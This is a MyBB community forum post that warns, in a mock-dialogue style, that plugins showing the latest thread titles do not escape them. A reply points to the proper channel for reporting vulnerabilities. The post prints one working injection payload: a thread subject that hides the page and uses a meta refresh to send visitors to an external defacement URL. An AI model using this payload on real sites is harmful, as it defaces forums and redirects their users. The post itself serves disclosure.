MyBB Community Forums

Hello!
Hello Kerio
(I sure you saw this bug in your forum!)
(Excuse Me! Which Bug?)
(Wait My dear!)

This bug is:
- somebody come and create a thread with this subject:
- <style>*{display:none}</style><meta http-equiv="refresh" content="0; url=http://upload.com/deface.html" />
- and your site redirect to deface page!

(No!!! What should we do?)
(You can wait for plugin's developers to fix this bug! or change max length of thread subject to 20! And they can't use this bug!)

(Which Plugins Have This Bug?)
 (Every Plugins For Show Stats (last threads) Have This Bug! Dont Worry! Developers Will be at work.)

Ok..

But if you really found a plugin with XSS vulnerability, please find it in the new mods base, use the report button and in the reason field include some proofs (for example the line number in a file). Or do the same in Private Inquiries: http://community.mybb.com/forum-135.html Thanks in advance.